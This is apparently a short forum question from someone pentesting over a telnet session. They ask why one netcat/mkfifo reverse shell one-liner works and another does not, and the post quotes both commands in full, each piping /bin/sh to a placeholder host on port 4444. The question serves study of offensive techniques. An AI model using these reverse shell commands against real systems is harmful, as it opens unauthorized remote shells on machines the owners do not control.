Trying to understand telnet behavior and pentesting reverse shell in Unix

Question

The first not working for me and the second working on telnet session, Unix:

What is the difference between:

.RUN rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ip 4444 >/tmp/f

And this:

.RUN mkfifo /tmp/sgrj; nc ip 4444 0</tmp/sgrj | /bin/sh >/tmp/sgrj 2>&1; rm /tmp/sgrj 

San some one explain why?